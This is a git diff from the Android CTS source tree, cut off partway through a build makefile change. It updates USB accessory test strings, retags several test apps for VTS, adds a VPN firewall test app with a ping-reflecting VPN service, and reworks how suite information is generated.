diff --git a/apps/CtsVerifierUSBCompanion/res/xml/accessory_filter.xml b/apps/CtsVerifierUSBCompanion/res/xml/accessory_filter.xml
index b511879..13f29c7 100644
--- a/apps/CtsVerifierUSBCompanion/res/xml/accessory_filter.xml
+++ b/apps/CtsVerifierUSBCompanion/res/xml/accessory_filter.xml
@@ -15,5 +15,5 @@
    limitations under the License.
   -->
 <resources>
-    <usb-accessory />
+    <usb-accessory manufacturer="Android CTS" model="Android device under CTS test" version="2" />
 </resources>
diff --git a/apps/CtsVerifierUSBCompanion/src/com/android/cts/verifierusbcompanion/AccessoryTestCompanion.java b/apps/CtsVerifierUSBCompanion/src/com/android/cts/verifierusbcompanion/AccessoryTestCompanion.java
index 0bf8ca2..ac025d1 100644
--- a/apps/CtsVerifierUSBCompanion/src/com/android/cts/verifierusbcompanion/AccessoryTestCompanion.java
+++ b/apps/CtsVerifierUSBCompanion/src/com/android/cts/verifierusbcompanion/AccessoryTestCompanion.java
@@ -341,12 +341,12 @@
      */
     private void makeThisDeviceAnAccessory(@NonNull UsbDeviceConnection connection) {
         AoapInterface.sendString(connection, AoapInterface.ACCESSORY_STRING_MANUFACTURER,
-                "Android");
+                "Android CTS");
         AoapInterface.sendString(connection, AoapInterface.ACCESSORY_STRING_MODEL,
-                "Android device");
+                "Android CTS test companion device");
         AoapInterface.sendString(connection, AoapInterface.ACCESSORY_STRING_DESCRIPTION,
                 "Android device running CTS verifier");
-        AoapInterface.sendString(connection, AoapInterface.ACCESSORY_STRING_VERSION, "1");
+        AoapInterface.sendString(connection, AoapInterface.ACCESSORY_STRING_VERSION, "2");
         AoapInterface.sendString(connection, AoapInterface.ACCESSORY_STRING_URI,
                 "https://source.android.com/compatibility/cts/verifier.html");
         AoapInterface.sendString(connection, AoapInterface.ACCESSORY_STRING_SERIAL, "0");
diff --git a/apps/EmptyDeviceAdmin/Android.mk b/apps/EmptyDeviceAdmin/Android.mk
index 3d76129..1d68fbb 100644
--- a/apps/EmptyDeviceAdmin/Android.mk
+++ b/apps/EmptyDeviceAdmin/Android.mk
@@ -29,6 +29,6 @@
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/apps/PermissionApp/Android.mk b/apps/PermissionApp/Android.mk
index 4bcc585..f22ecc3 100644
--- a/apps/PermissionApp/Android.mk
+++ b/apps/PermissionApp/Android.mk
@@ -29,6 +29,6 @@
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/apps/VpnApp/Android.mk b/apps/VpnApp/Android.mk
new file mode 100644
index 0000000..cb223a3
--- /dev/null
+++ b/apps/VpnApp/Android.mk
@@ -0,0 +1,21 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Build the test APKs using their own makefiles
+include $(call all-makefiles-under,$(LOCAL_PATH))
+
diff --git a/apps/VpnApp/api23/Android.mk b/apps/VpnApp/api23/Android.mk
new file mode 100755
index 0000000..e25cb91
--- /dev/null
+++ b/apps/VpnApp/api23/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsVpnFirewallAppApi23
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+
+LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../res
+
+#LOCAL_SDK_VERSION := current
+LOCAL_PRIVATE_PLATFORM_APIS := true
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/apps/VpnApp/api23/AndroidManifest.xml b/apps/VpnApp/api23/AndroidManifest.xml
new file mode 100644
index 0000000..b00e1a5
--- /dev/null
+++ b/apps/VpnApp/api23/AndroidManifest.xml
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.vpnfirewall">
+
+    <uses-sdk android:minSdkVersion="22" android:targetSdkVersion="23"/>
+
+    <application android:label="@string/app">
+        <activity android:name=".VpnClient">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <action android:name="com.android.cts.vpnfirewall.action.CONNECT_AND_FINISH"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+
+        <service android:name=".ReflectorVpnService"
+                android:permission="android.permission.BIND_VPN_SERVICE">
+            <intent-filter>
+                <action android:name="android.net.VpnService"/>
+            </intent-filter>
+        </service>
+    </application>
+
+</manifest>
diff --git a/apps/VpnApp/api24/Android.mk b/apps/VpnApp/api24/Android.mk
new file mode 100755
index 0000000..ec36333
--- /dev/null
+++ b/apps/VpnApp/api24/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsVpnFirewallAppApi24
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+
+LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../res
+
+#LOCAL_SDK_VERSION := current
+LOCAL_PRIVATE_PLATFORM_APIS := true
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/apps/VpnApp/api24/AndroidManifest.xml b/apps/VpnApp/api24/AndroidManifest.xml
new file mode 100644
index 0000000..c0c0df6
--- /dev/null
+++ b/apps/VpnApp/api24/AndroidManifest.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.vpnfirewall">
+
+    <uses-sdk android:minSdkVersion="22" android:targetSdkVersion="24"/>
+
+    <application android:label="@string/app">
+        <activity android:name=".VpnClient">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <action android:name="com.android.cts.vpnfirewall.action.CONNECT_AND_FINISH"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+
+        <service android:name=".ReflectorVpnService"
+                android:permission="android.permission.BIND_VPN_SERVICE">
+            <!-- Dummy entry below to test the default value of always-on opt-opt flag -->
+            <meta-data android:name="dummy-name" android:value="dummy-value"/>
+            <intent-filter>
+                <action android:name="android.net.VpnService"/>
+            </intent-filter>
+        </service>
+    </application>
+
+</manifest>
diff --git a/apps/VpnApp/latest/Android.mk b/apps/VpnApp/latest/Android.mk
new file mode 100755
index 0000000..0431bef
--- /dev/null
+++ b/apps/VpnApp/latest/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsVpnFirewallApp
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+
+LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../res
+
+#LOCAL_SDK_VERSION := current
+LOCAL_PRIVATE_PLATFORM_APIS := true
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/apps/VpnApp/latest/AndroidManifest.xml b/apps/VpnApp/latest/AndroidManifest.xml
new file mode 100644
index 0000000..6cc706f
--- /dev/null
+++ b/apps/VpnApp/latest/AndroidManifest.xml
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.vpnfirewall">
+
+    <uses-sdk android:minSdkVersion="22"/>
+
+    <application android:label="@string/app">
+        <activity android:name=".VpnClient">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <action android:name="com.android.cts.vpnfirewall.action.CONNECT_AND_FINISH"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+
+        <service android:name=".ReflectorVpnService"
+                android:permission="android.permission.BIND_VPN_SERVICE">
+            <intent-filter>
+                <action android:name="android.net.VpnService"/>
+            </intent-filter>
+        </service>
+    </application>
+
+</manifest>
diff --git a/apps/VpnApp/notalwayson/Android.mk b/apps/VpnApp/notalwayson/Android.mk
new file mode 100755
index 0000000..06731f8
--- /dev/null
+++ b/apps/VpnApp/notalwayson/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsVpnFirewallAppNotAlwaysOn
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+
+LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../res
+
+#LOCAL_SDK_VERSION := current
+LOCAL_PRIVATE_PLATFORM_APIS := true
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/apps/VpnApp/notalwayson/AndroidManifest.xml b/apps/VpnApp/notalwayson/AndroidManifest.xml
new file mode 100644
index 0000000..fc250aa
--- /dev/null
+++ b/apps/VpnApp/notalwayson/AndroidManifest.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.vpnfirewall">
+
+    <uses-sdk android:minSdkVersion="22"/>
+
+    <application android:label="@string/app">
+        <activity android:name=".VpnClient">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <action android:name="com.android.cts.vpnfirewall.action.CONNECT_AND_FINISH"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+
+        <service android:name=".ReflectorVpnService"
+                android:permission="android.permission.BIND_VPN_SERVICE">
+            <intent-filter>
+                <action android:name="android.net.VpnService"/>
+            </intent-filter>
+            <meta-data android:name="android.net.VpnService.SUPPORTS_ALWAYS_ON"
+                       android:value="false"/>
+        </service>
+    </application>
+
+</manifest>
diff --git a/apps/VpnApp/res/layout/vpn_client.xml b/apps/VpnApp/res/layout/vpn_client.xml
new file mode 100644
index 0000000..a3a14ae
--- /dev/null
+++ b/apps/VpnApp/res/layout/vpn_client.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<ScrollView xmlns:android="http://schemas.android.com/apk/res/android"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content">
+    <LinearLayout android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:orientation="vertical"
+            android:padding="3mm">
+        <Button style="@style/item" android:id="@+id/connect" android:text="@string/connect"/>
+    </LinearLayout>
+</ScrollView>
diff --git a/apps/VpnApp/res/values/strings.xml b/apps/VpnApp/res/values/strings.xml
new file mode 100644
index 0000000..ec86c71
--- /dev/null
+++ b/apps/VpnApp/res/values/strings.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright (C) 2017 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+ -->
+
+<resources>
+    <string name="app">CtsVpnFirewallApp</string>
+    <string name="connect">Connect!</string>
+</resources>
diff --git a/apps/VpnApp/res/values/styles.xml b/apps/VpnApp/res/values/styles.xml
new file mode 100644
index 0000000..6f4011b
--- /dev/null
+++ b/apps/VpnApp/res/values/styles.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright (C) 2017 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+ -->
+
+<resources>
+    <style name="item">
+        <item name="android:layout_width">match_parent</item>
+        <item name="android:layout_height">wrap_content</item>
+        <item name="android:textAppearance">?android:attr/textAppearanceMedium</item>
+        <item name="android:singleLine">true</item>
+    </style>
+</resources>
diff --git a/hostsidetests/devicepolicy/app/VpnApp/src/com/android/cts/vpnfirewall/IcmpMessage.java b/apps/VpnApp/src/com/android/cts/vpnfirewall/IcmpMessage.java
similarity index 100%
rename from hostsidetests/devicepolicy/app/VpnApp/src/com/android/cts/vpnfirewall/IcmpMessage.java
rename to apps/VpnApp/src/com/android/cts/vpnfirewall/IcmpMessage.java
diff --git a/hostsidetests/devicepolicy/app/VpnApp/src/com/android/cts/vpnfirewall/Ipv4Packet.java b/apps/VpnApp/src/com/android/cts/vpnfirewall/Ipv4Packet.java
similarity index 100%
rename from hostsidetests/devicepolicy/app/VpnApp/src/com/android/cts/vpnfirewall/Ipv4Packet.java
rename to apps/VpnApp/src/com/android/cts/vpnfirewall/Ipv4Packet.java
diff --git a/hostsidetests/devicepolicy/app/VpnApp/src/com/android/cts/vpnfirewall/PingReflector.java b/apps/VpnApp/src/com/android/cts/vpnfirewall/PingReflector.java
similarity index 100%
rename from hostsidetests/devicepolicy/app/VpnApp/src/com/android/cts/vpnfirewall/PingReflector.java
rename to apps/VpnApp/src/com/android/cts/vpnfirewall/PingReflector.java
diff --git a/apps/VpnApp/src/com/android/cts/vpnfirewall/ReflectorVpnService.java b/apps/VpnApp/src/com/android/cts/vpnfirewall/ReflectorVpnService.java
new file mode 100755
index 0000000..73afeaf
--- /dev/null
+++ b/apps/VpnApp/src/com/android/cts/vpnfirewall/ReflectorVpnService.java
@@ -0,0 +1,190 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.vpnfirewall;
+
+import android.R;
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager.NameNotFoundException;
+import android.net.VpnService;
+import android.os.Bundle;
+import android.os.ParcelFileDescriptor;
+import android.os.UserManager;
+import android.text.TextUtils;
+import android.util.Log;
+import android.os.SystemProperties;
+
+import java.io.IOException;
+import java.net.InetAddress;
+import java.net.UnknownHostException;
+
+public class ReflectorVpnService extends VpnService {
+
+    private static String TAG = "ReflectorVpnService";
+    private static final int NOTIFICATION_ID = 1;
+    private static final String NOTIFICATION_CHANNEL_ID = TAG;
+    private static int MTU = 1799;
+
+    private ParcelFileDescriptor mFd = null;
+    private PingReflector mPingReflector = null;
+
+    public static final String RESTRICTION_ADDRESSES = "vpn.addresses";
+    public static final String RESTRICTION_ROUTES = "vpn.routes";
+    public static final String RESTRICTION_ALLOWED = "vpn.allowed";
+    public static final String RESTRICTION_DISALLOWED = "vpn.disallowed";
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        // Put ourself in the foreground to stop the system killing us while we wait for orders from
+        // the hostside test.
+        NotificationManager notificationManager = getSystemService(NotificationManager.class);
+        notificationManager.createNotificationChannel(new NotificationChannel(
+                NOTIFICATION_CHANNEL_ID, NOTIFICATION_CHANNEL_ID,
+                NotificationManager.IMPORTANCE_DEFAULT));
+        startForeground(NOTIFICATION_ID, new Notification.Builder(this, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_dialog_alert)
+                .build());
+        start();
+        return START_REDELIVER_INTENT;
+    }
+
+    @Override
+    public void onDestroy() {
+        stop();
+        NotificationManager notificationManager = getSystemService(NotificationManager.class);
+        notificationManager.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID);
+        super.onDestroy();
+    }
+
+    private void start() {
+        VpnService.prepare(this);
+        Builder builder = new Builder();
+
+        final UserManager um = (UserManager) getSystemService(Context.USER_SERVICE);
+        final Bundle restrictions = um.getApplicationRestrictions(getPackageName());
+
+        String[] addressArray = restrictions.getStringArray(RESTRICTION_ADDRESSES);
+        if (addressArray == null) {
+            // Addresses for IPv4/IPv6 documentation purposes according to rfc5737/rfc3849.
+            addressArray = new String[] {"192.0.2.3/32", "2001:db8:1:2::/128"};
+        };
+        for (int i = 0; i < addressArray.length; i++) {
+            String[] prefixAndMask = addressArray[i].split("/");
+            try {
+                InetAddress address = InetAddress.getByName(prefixAndMask[0]);
+                int prefixLength = Integer.parseInt(prefixAndMask[1]);
+                builder.addAddress(address, prefixLength);
+            } catch (NumberFormatException | UnknownHostException e) {
+                Log.w(TAG, "Ill-formed address: " + addressArray[i]);
+                continue;
+            }
+        }
+
+        String[] routeArray = restrictions.getStringArray(RESTRICTION_ROUTES);
+        if (routeArray == null) {
+            routeArray = new String[] {"0.0.0.0/0", "::/0"};
+        }
+        for (int i = 0; i < routeArray.length; i++) {
+            String[] prefixAndMask = routeArray[i].split("/");
+            try {
+                InetAddress address = InetAddress.getByName(prefixAndMask[0]);
+                int prefixLength = Integer.parseInt(prefixAndMask[1]);
+                builder.addRoute(address, prefixLength);
+            } catch (NumberFormatException | UnknownHostException e) {
+                Log.w(TAG, "Ill-formed route: " + routeArray[i]);
+                continue;
+            }
+        }
+
+        String[] allowedArray = restrictions.getStringArray(RESTRICTION_ALLOWED);
+        if (allowedArray != null) {
+            for (int i = 0; i < allowedArray.length; i++) {
+                String allowedPackage = allowedArray[i];
+                if (!TextUtils.isEmpty(allowedPackage)) {
+                    try {
+                        builder.addAllowedApplication(allowedPackage);
+                    } catch(NameNotFoundException e) {
+                        Log.w(TAG, "Allowed package not found: " + allowedPackage);
+                        continue;
+                    }
+                }
+            }
+        }
+
+        String[] disallowedArray = restrictions.getStringArray(RESTRICTION_DISALLOWED);
+        if (disallowedArray != null) {
+            for (int i = 0; i < disallowedArray.length; i++) {
+                String disallowedPackage = disallowedArray[i];
+                if (!TextUtils.isEmpty(disallowedPackage)) {
+                    try {
+                        builder.addDisallowedApplication(disallowedPackage);
+                    } catch(NameNotFoundException e) {
+                        Log.w(TAG, "Disallowed package not found: " + disallowedPackage);
+                        continue;
+                    }
+                }
+            }
+        }
+
+        if (allowedArray == null &&
+            (SystemProperties.getInt("persist.adb.tcp.port", -1) > -1
+            || SystemProperties.getInt("service.adb.tcp.port", -1) > -1)) {
+            try {
+                // If adb TCP port opened the test may be running by adb over network.
+                // Add com.android.shell application into blacklist to exclude adb socket
+                // for VPN tests.
+                builder.addDisallowedApplication("com.android.shell");
+            } catch(NameNotFoundException e) {
+                Log.w(TAG, "com.android.shell not found");
+            }
+        }
+
+        builder.setMtu(MTU);
+        builder.setBlocking(true);
+        builder.setSession(TAG);
+
+        mFd = builder.establish();
+        if (mFd == null) {
+            Log.e(TAG, "Unable to establish file descriptor for VPN connection");
+            return;
+        }
+        Log.i(TAG, "Established, fd=" + mFd.getFd());
+
+        mPingReflector = new PingReflector(mFd.getFileDescriptor(), MTU);
+        mPingReflector.start();
+    }
+
+    private void stop() {
+        if (mPingReflector != null) {
+            mPingReflector.interrupt();
+            mPingReflector = null;
+        }
+        try {
+            if (mFd != null) {
+                Log.i(TAG, "Closing filedescriptor");
+                mFd.close();
+            }
+        } catch(IOException e) {
+            Log.w(TAG, "Closing filedescriptor failed", e);
+        } finally {
+            mFd = null;
+        }
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/VpnApp/src/com/android/cts/vpnfirewall/Rfc1071.java b/apps/VpnApp/src/com/android/cts/vpnfirewall/Rfc1071.java
similarity index 100%
rename from hostsidetests/devicepolicy/app/VpnApp/src/com/android/cts/vpnfirewall/Rfc1071.java
rename to apps/VpnApp/src/com/android/cts/vpnfirewall/Rfc1071.java
diff --git a/apps/VpnApp/src/com/android/cts/vpnfirewall/VpnClient.java b/apps/VpnApp/src/com/android/cts/vpnfirewall/VpnClient.java
new file mode 100644
index 0000000..e4577a5
--- /dev/null
+++ b/apps/VpnApp/src/com/android/cts/vpnfirewall/VpnClient.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.vpnfirewall;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.net.VpnService;
+import android.os.Bundle;
+
+public class VpnClient extends Activity {
+
+    public static final String ACTION_CONNECT_AND_FINISH =
+            "com.android.cts.vpnfirewall.action.CONNECT_AND_FINISH";
+
+    private static final int REQUEST_CONNECT = 0;
+    private static final int REQUEST_CONNECT_AND_FINISH = 1;
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.vpn_client);
+
+        if (ACTION_CONNECT_AND_FINISH.equals(getIntent().getAction())) {
+            prepareAndStart(REQUEST_CONNECT_AND_FINISH);
+        }
+        findViewById(R.id.connect).setOnClickListener(v -> prepareAndStart(REQUEST_CONNECT));
+    }
+
+    @Override
+    protected void onActivityResult(int request, int result, Intent data) {
+        if (result == RESULT_OK) {
+            startService(new Intent(this, ReflectorVpnService.class));
+        }
+        if (request == REQUEST_CONNECT_AND_FINISH) {
+            finish();
+        }
+    }
+
+    private void prepareAndStart(int requestCode) {
+        Intent intent = VpnService.prepare(VpnClient.this);
+        if (intent != null) {
+            startActivityForResult(intent, requestCode);
+        } else {
+            onActivityResult(requestCode, RESULT_OK, null);
+        }
+    }
+}
diff --git a/build/compatibility_test_suite.mk b/build/compatibility_test_suite.mk
index 7cdd220..d133c3e 100644
--- a/build/compatibility_test_suite.mk
+++ b/build/compatibility_test_suite.mk
@@ -16,25 +16,21 @@
 # Builds a compatibility test suite.
 #
 
-# Generate the SuiteInfo.java
-suite_info_java := $(call intermediates-dir-for,JAVA_LIBRARIES,$(LOCAL_MODULE),true,COMMON)/com/android/compatibility/SuiteInfo.java
-$(suite_info_java): PRIVATE_SUITE_BUILD_NUMBER := $(LOCAL_SUITE_BUILD_NUMBER)
-$(suite_info_java): PRIVATE_SUITE_TARGET_ARCH := $(LOCAL_SUITE_TARGET_ARCH)
-$(suite_info_java): PRIVATE_SUITE_NAME := $(LOCAL_SUITE_NAME)
-$(suite_info_java): PRIVATE_SUITE_FULLNAME := $(LOCAL_SUITE_FULLNAME)
-$(suite_info_java): PRIVATE_SUITE_VERSION := $(LOCAL_SUITE_VERSION)
-$(suite_info_java): cts/build/compatibility_test_suite.mk $(LOCAL_MODULE_MAKEFILE)
+# Generate suite info property file
+suite_info_prop := $(call intermediates-dir-for,JAVA_LIBRARIES,$(LOCAL_MODULE),true,COMMON)/test-suite-info.properties
+$(suite_info_prop): PRIVATE_SUITE_BUILD_NUMBER := $(LOCAL_SUITE_BUILD_NUMBER)
+$(suite_info_prop): PRIVATE_SUITE_TARGET_ARCH := $(LOCAL_SUITE_TARGET_ARCH)
+$(suite_info_prop): PRIVATE_SUITE_NAME := $(LOCAL_SUITE_NAME)
+$(suite_info_prop): PRIVATE_SUITE_FULLNAME := $(LOCAL_SUITE_FULLNAME)
+$(suite_info_prop): PRIVATE_SUITE_VERSION := $(LOCAL_SUITE_VERSION)
+$(suite_info_prop): cts/build/compatibility_test_suite.mk $(LOCAL_MODULE_MAKEFILE)
 	@echo Generating: $@
-	$(hide) mkdir -p $(dir $@)
-	$(hide) echo "/* This file is auto generated by Android.mk.  Do not modify. */" > $@
